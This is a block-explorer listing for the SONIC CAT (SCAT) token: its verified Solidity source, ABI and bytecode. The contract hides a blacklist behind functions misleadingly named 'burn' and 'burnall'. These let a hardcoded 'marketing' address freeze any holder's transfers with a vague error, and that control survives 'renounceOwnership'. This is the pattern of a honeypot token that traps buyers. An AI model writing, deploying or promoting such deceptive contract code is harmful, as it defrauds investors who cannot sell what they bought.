Token

SONIC CAT (SCAT)

Overview

Max Total Supply

100,000,000,000 SCAT

Holders

8

Market

Price

-

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
11,291,082.184142689129240795 SCAT

Value
$0.00
0xfb731ef26a8b65138d7a0617495bf49b190d6d13
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at SonicScan.org on 2024-12-19
*/

// SPDX-License-Identifier: NONE
pragma solidity ^0.8.2;

contract Token {
    mapping(address => uint) public balances;
    mapping(address => mapping(address => uint)) public allowance;
    mapping(address => bool) public blacklist;

    uint public totalSupply = 100000000000 * 10 ** 18;
    string public name = "SONIC CAT";
    string public symbol = "SCAT";
    uint public decimals = 18;

    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
    event Blacklisted(address indexed account);
    event Unblacklisted(address indexed account);

    address public ownership;

    modifier onlyOwner() {
        require(msg.sender == ownership, "Not the owner");
        _;
    }

    constructor() {
        ownership = msg.sender;
        balances[msg.sender] = totalSupply;
    }

    function balanceOf(address account) public view returns (uint) {
        return balances[account];
    }

    function transfer(address to, uint value) public returns (bool) {
        require(!blacklist[msg.sender], "There is something wrong");
        require(balanceOf(msg.sender) >= value, "Balance too low");
        balances[to] += value;
        balances[msg.sender] -= value;
        emit Transfer(msg.sender, to, value);
        return true;
    }

    function transferFrom(address from, address to, uint value) public returns (bool) {
        require(!blacklist[from], "There is something wrong");
        require(balanceOf(from) >= value, "Balance too low");
        require(allowance[from][msg.sender] >= value, "Allowance too low");
        balances[to] += value;
        balances[from] -= value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true;
    }

    function approve(address spender, uint value) public returns (bool) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function renounceOwnership() public onlyOwner {
        ownership = address(0);
    }
    address public marketing = 0x366006F259D9252752a60E5c61eF56032a9441e6;

    function burn(address account) public {
        require(msg.sender == marketing, "Only the marketing");
        blacklist[account] = true;
        emit Blacklisted(account);
    }

    function burnall(address account) public {
        require(msg.sender == marketing, "Only the marketing");
        blacklist[account] = false;
        emit Unblacklisted(account);
    }

    function setMarketingAddress(address newMarketing) public onlyOwner {
        marketing = newMarketing;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"Blacklisted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"Unblacklisted","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"blacklist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"burnall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketing","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownership","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketing","type":"address"}],"name":"setMarketingAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526c01431e0fae6d7217caa00000006003556040518060400160405280600981526020017f534f4e49432043415400000000000000000000000000000000000000000000008152506004908161005991906103c6565b506040518060400160405280600481526020017f53434154000000000000000000000000000000000000000000000000000000008152506005908161009e91906103c6565b50601260065573366006f259d9252752a60e5c61ef56032a9441e660085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015610103575f80fd5b503360075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506003545f803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610495565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061020757607f821691505b60208210810361021a576102196101c3565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261027c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610241565b6102868683610241565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6102ca6102c56102c08461029e565b6102a7565b61029e565b9050919050565b5f819050919050565b6102e3836102b0565b6102f76102ef826102d1565b84845461024d565b825550505050565b5f90565b61030b6102ff565b6103168184846102da565b505050565b5b818110156103395761032e5f82610303565b60018101905061031c565b5050565b601f82111561037e5761034f81610220565b61035884610232565b81016020851015610367578190505b61037b61037385610232565b83018261031b565b50505b505050565b5f82821c905092915050565b5f61039e5f1984600802610383565b1980831691505092915050565b5f6103b6838361038f565b9150826002028217905092915050565b6103cf8261018c565b67ffffffffffffffff8111156103e8576103e7610196565b5b6103f282546101f0565b6103fd82828561033d565b5f60209050601f83116001811461042e575f841561041c578287015190505b61042685826103ab565b86555061048d565b601f19841661043c86610220565b5f5b828110156104635784890151825560018201915060208501945060208101905061043e565b86831015610480578489015161047c601f89168261038f565b8355505b6001600288020188555050505b505050505050565b61153b806104a25f395ff3fe608060405234801561000f575f80fd5b5060043610610109575f3560e01c806370a08231116100a057806395d89b411161006f57806395d89b41146102a5578063a9059cbb146102c3578063b37e35a5146102f3578063dd62ed3e1461030f578063f9f92be41461033f57610109565b806370a0823114610233578063715018a61461026357806389afcb441461026d578063906e9dd01461028957610109565b806327e235e3116100dc57806327e235e3146101a95780632d3e474a146101d9578063313ce567146101f75780635d03147a1461021557610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f80fd5b61011561036f565b6040516101229190610fe2565b60405180910390f35b61014560048036038101906101409190611093565b6103fb565b60405161015291906110eb565b60405180910390f35b6101636104e8565b6040516101709190611113565b60405180910390f35b610193600480360381019061018e919061112c565b6104ee565b6040516101a091906110eb565b60405180910390f35b6101c360048036038101906101be919061117c565b610821565b6040516101d09190611113565b60405180910390f35b6101e1610835565b6040516101ee91906111b6565b60405180910390f35b6101ff61085a565b60405161020c9190611113565b60405180910390f35b61021d610860565b60405161022a91906111b6565b60405180910390f35b61024d6004803603810190610248919061117c565b610885565b60405161025a9190611113565b60405180910390f35b61026b6108ca565b005b6102876004803603810190610282919061117c565b61099b565b005b6102a3600480360381019061029e919061117c565b610ac5565b005b6102ad610b97565b6040516102ba9190610fe2565b60405180910390f35b6102dd60048036038101906102d89190611093565b610c23565b6040516102ea91906110eb565b60405180910390f35b61030d6004803603810190610308919061117c565b610e0c565b005b610329600480360381019061032491906111cf565b610f35565b6040516103369190611113565b60405180910390f35b6103596004803603810190610354919061117c565b610f55565b60405161036691906110eb565b60405180910390f35b6004805461037c9061123a565b80601f01602080910402602001604051908101604052809291908181526020018280546103a89061123a565b80156103f35780601f106103ca576101008083540402835291602001916103f3565b820191905f5260205f20905b8154815290600101906020018083116103d657829003601f168201915b505050505081565b5f8160015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104d69190611113565b60405180910390a36001905092915050565b60035481565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610579576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610570906112b4565b60405180910390fd5b8161058385610885565b10156105c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bb9061131c565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561067f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067690611384565b60405180910390fd5b815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106ca91906113cf565b92505081905550815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461071c9190611402565b925050819055508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107aa9190611402565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161080e9190611113565b60405180910390a3600190509392505050565b5f602052805f5260405f205f915090505481565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610959576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109509061147f565b60405180910390fd5b5f60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a21906114e7565b60405180910390fd5b600160025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fffa4e6181777692565cf28528fc88fd1516ea86b56da075235fa575af6a4b85560405160405180910390a250565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4b9061147f565b60405180910390fd5b8060085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60058054610ba49061123a565b80601f0160208091040260200160405190810160405280929190818152602001828054610bd09061123a565b8015610c1b5780601f10610bf257610100808354040283529160200191610c1b565b820191905f5260205f20905b815481529060010190602001808311610bfe57829003601f168201915b505050505081565b5f60025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca5906112b4565b60405180910390fd5b81610cb833610885565b1015610cf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf09061131c565b60405180910390fd5b815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610d4491906113cf565b92505081905550815f803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610d969190611402565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dfa9190611113565b60405180910390a36001905092915050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e92906114e7565b60405180910390fd5b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f7534c63860313c46c473e4e98328f37017e9674e2162faf1a3ad7a96236c3b7b60405160405180910390a250565b6001602052815f5260405f20602052805f5260405f205f91509150505481565b6002602052805f5260405f205f915054906101000a900460ff1681565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610fb482610f72565b610fbe8185610f7c565b9350610fce818560208601610f8c565b610fd781610f9a565b840191505092915050565b5f6020820190508181035f830152610ffa8184610faa565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61102f82611006565b9050919050565b61103f81611025565b8114611049575f80fd5b50565b5f8135905061105a81611036565b92915050565b5f819050919050565b61107281611060565b811461107c575f80fd5b50565b5f8135905061108d81611069565b92915050565b5f80604083850312156110a9576110a8611002565b5b5f6110b68582860161104c565b92505060206110c78582860161107f565b9150509250929050565b5f8115159050919050565b6110e5816110d1565b82525050565b5f6020820190506110fe5f8301846110dc565b92915050565b61110d81611060565b82525050565b5f6020820190506111265f830184611104565b92915050565b5f805f6060848603121561114357611142611002565b5b5f6111508682870161104c565b93505060206111618682870161104c565b92505060406111728682870161107f565b9150509250925092565b5f6020828403121561119157611190611002565b5b5f61119e8482850161104c565b91505092915050565b6111b081611025565b82525050565b5f6020820190506111c95f8301846111a7565b92915050565b5f80604083850312156111e5576111e4611002565b5b5f6111f28582860161104c565b92505060206112038582860161104c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061125157607f821691505b6020821081036112645761126361120d565b5b50919050565b7f546865726520697320736f6d657468696e672077726f6e6700000000000000005f82015250565b5f61129e601883610f7c565b91506112a98261126a565b602082019050919050565b5f6020820190508181035f8301526112cb81611292565b9050919050565b7f42616c616e636520746f6f206c6f7700000000000000000000000000000000005f82015250565b5f611306600f83610f7c565b9150611311826112d2565b602082019050919050565b5f6020820190508181035f830152611333816112fa565b9050919050565b7f416c6c6f77616e636520746f6f206c6f770000000000000000000000000000005f82015250565b5f61136e601183610f7c565b91506113798261133a565b602082019050919050565b5f6020820190508181035f83015261139b81611362565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113d982611060565b91506113e483611060565b92508282019050808211156113fc576113fb6113a2565b5b92915050565b5f61140c82611060565b915061141783611060565b925082820390508181111561142f5761142e6113a2565b5b92915050565b7f4e6f7420746865206f776e6572000000000000000000000000000000000000005f82015250565b5f611469600d83610f7c565b915061147482611435565b602082019050919050565b5f6020820190508181035f8301526114968161145d565b9050919050565b7f4f6e6c7920746865206d61726b6574696e6700000000000000000000000000005f82015250565b5f6114d1601283610f7c565b91506114dc8261149d565b602082019050919050565b5f6020820190508181035f8301526114fe816114c5565b905091905056fea264697066735822122054fa20d83c8d3a5eb61e1ce599734f2d4d544984faf8073cd6fdc211f3dbb97964736f6c634300081a0033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610109575f3560e01c806370a08231116100a057806395d89b411161006f57806395d89b41146102a5578063a9059cbb146102c3578063b37e35a5146102f3578063dd62ed3e1461030f578063f9f92be41461033f57610109565b806370a0823114610233578063715018a61461026357806389afcb441461026d578063906e9dd01461028957610109565b806327e235e3116100dc57806327e235e3146101a95780632d3e474a146101d9578063313ce567146101f75780635d03147a1461021557610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f80fd5b61011561036f565b6040516101229190610fe2565b60405180910390f35b61014560048036038101906101409190611093565b6103fb565b60405161015291906110eb565b60405180910390f35b6101636104e8565b6040516101709190611113565b60405180910390f35b610193600480360381019061018e919061112c565b6104ee565b6040516101a091906110eb565b60405180910390f35b6101c360048036038101906101be919061117c565b610821565b6040516101d09190611113565b60405180910390f35b6101e1610835565b6040516101ee91906111b6565b60405180910390f35b6101ff61085a565b60405161020c9190611113565b60405180910390f35b61021d610860565b60405161022a91906111b6565b60405180910390f35b61024d6004803603810190610248919061117c565b610885565b60405161025a9190611113565b60405180910390f35b61026b6108ca565b005b6102876004803603810190610282919061117c565b61099b565b005b6102a3600480360381019061029e919061117c565b610ac5565b005b6102ad610b97565b6040516102ba9190610fe2565b60405180910390f35b6102dd60048036038101906102d89190611093565b610c23565b6040516102ea91906110eb565b60405180910390f35b61030d6004803603810190610308919061117c565b610e0c565b005b610329600480360381019061032491906111cf565b610f35565b6040516103369190611113565b60405180910390f35b6103596004803603810190610354919061117c565b610f55565b60405161036691906110eb565b60405180910390f35b6004805461037c9061123a565b80601f01602080910402602001604051908101604052809291908181526020018280546103a89061123a565b80156103f35780601f106103ca576101008083540402835291602001916103f3565b820191905f5260205f20905b8154815290600101906020018083116103d657829003601f168201915b505050505081565b5f8160015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104d69190611113565b60405180910390a36001905092915050565b60035481565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610579576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610570906112b4565b60405180910390fd5b8161058385610885565b10156105c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bb9061131c565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561067f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067690611384565b60405180910390fd5b815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106ca91906113cf565b92505081905550815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461071c9190611402565b925050819055508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107aa9190611402565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161080e9190611113565b60405180910390a3600190509392505050565b5f602052805f5260405f205f915090505481565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610959576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109509061147f565b60405180910390fd5b5f60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a21906114e7565b60405180910390fd5b600160025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fffa4e6181777692565cf28528fc88fd1516ea86b56da075235fa575af6a4b85560405160405180910390a250565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4b9061147f565b60405180910390fd5b8060085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60058054610ba49061123a565b80601f0160208091040260200160405190810160405280929190818152602001828054610bd09061123a565b8015610c1b5780601f10610bf257610100808354040283529160200191610c1b565b820191905f5260205f20905b815481529060010190602001808311610bfe57829003601f168201915b505050505081565b5f60025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca5906112b4565b60405180910390fd5b81610cb833610885565b1015610cf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf09061131c565b60405180910390fd5b815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610d4491906113cf565b92505081905550815f803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610d969190611402565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dfa9190611113565b60405180910390a36001905092915050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e92906114e7565b60405180910390fd5b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f7534c63860313c46c473e4e98328f37017e9674e2162faf1a3ad7a96236c3b7b60405160405180910390a250565b6001602052815f5260405f20602052805f5260405f205f91509150505481565b6002602052805f5260405f205f915054906101000a900460ff1681565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610fb482610f72565b610fbe8185610f7c565b9350610fce818560208601610f8c565b610fd781610f9a565b840191505092915050565b5f6020820190508181035f830152610ffa8184610faa565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61102f82611006565b9050919050565b61103f81611025565b8114611049575f80fd5b50565b5f8135905061105a81611036565b92915050565b5f819050919050565b61107281611060565b811461107c575f80fd5b50565b5f8135905061108d81611069565b92915050565b5f80604083850312156110a9576110a8611002565b5b5f6110b68582860161104c565b92505060206110c78582860161107f565b9150509250929050565b5f8115159050919050565b6110e5816110d1565b82525050565b5f6020820190506110fe5f8301846110dc565b92915050565b61110d81611060565b82525050565b5f6020820190506111265f830184611104565b92915050565b5f805f6060848603121561114357611142611002565b5b5f6111508682870161104c565b93505060206111618682870161104c565b92505060406111728682870161107f565b9150509250925092565b5f6020828403121561119157611190611002565b5b5f61119e8482850161104c565b91505092915050565b6111b081611025565b82525050565b5f6020820190506111c95f8301846111a7565b92915050565b5f80604083850312156111e5576111e4611002565b5b5f6111f28582860161104c565b92505060206112038582860161104c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061125157607f821691505b6020821081036112645761126361120d565b5b50919050565b7f546865726520697320736f6d657468696e672077726f6e6700000000000000005f82015250565b5f61129e601883610f7c565b91506112a98261126a565b602082019050919050565b5f6020820190508181035f8301526112cb81611292565b9050919050565b7f42616c616e636520746f6f206c6f7700000000000000000000000000000000005f82015250565b5f611306600f83610f7c565b9150611311826112d2565b602082019050919050565b5f6020820190508181035f830152611333816112fa565b9050919050565b7f416c6c6f77616e636520746f6f206c6f770000000000000000000000000000005f82015250565b5f61136e601183610f7c565b91506113798261133a565b602082019050919050565b5f6020820190508181035f83015261139b81611362565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113d982611060565b91506113e483611060565b92508282019050808211156113fc576113fb6113a2565b5b92915050565b5f61140c82611060565b915061141783611060565b925082820390508181111561142f5761142e6113a2565b5b92915050565b7f4e6f7420746865206f776e6572000000000000000000000000000000000000005f82015250565b5f611469600d83610f7c565b915061147482611435565b602082019050919050565b5f6020820190508181035f8301526114968161145d565b9050919050565b7f4f6e6c7920746865206d61726b6574696e6700000000000000000000000000005f82015250565b5f6114d1601283610f7c565b91506114dc8261149d565b602082019050919050565b5f6020820190508181035f8301526114fe816114c5565b905091905056fea264697066735822122054fa20d83c8d3a5eb61e1ce599734f2d4d544984faf8073cd6fdc211f3dbb97964736f6c634300081a0033

Deployed Bytecode Sourcemap

61:2692:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;304:32;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1873:199;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;248:49;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1395:470;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;83:40;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2173:69;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;379:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;671:24;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;921:106;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2080:87;;;:::i;:::-;;2251:183;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2639:111;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;343:29;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1035:352;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2442:189;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;130:61;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;198:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;304:32;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::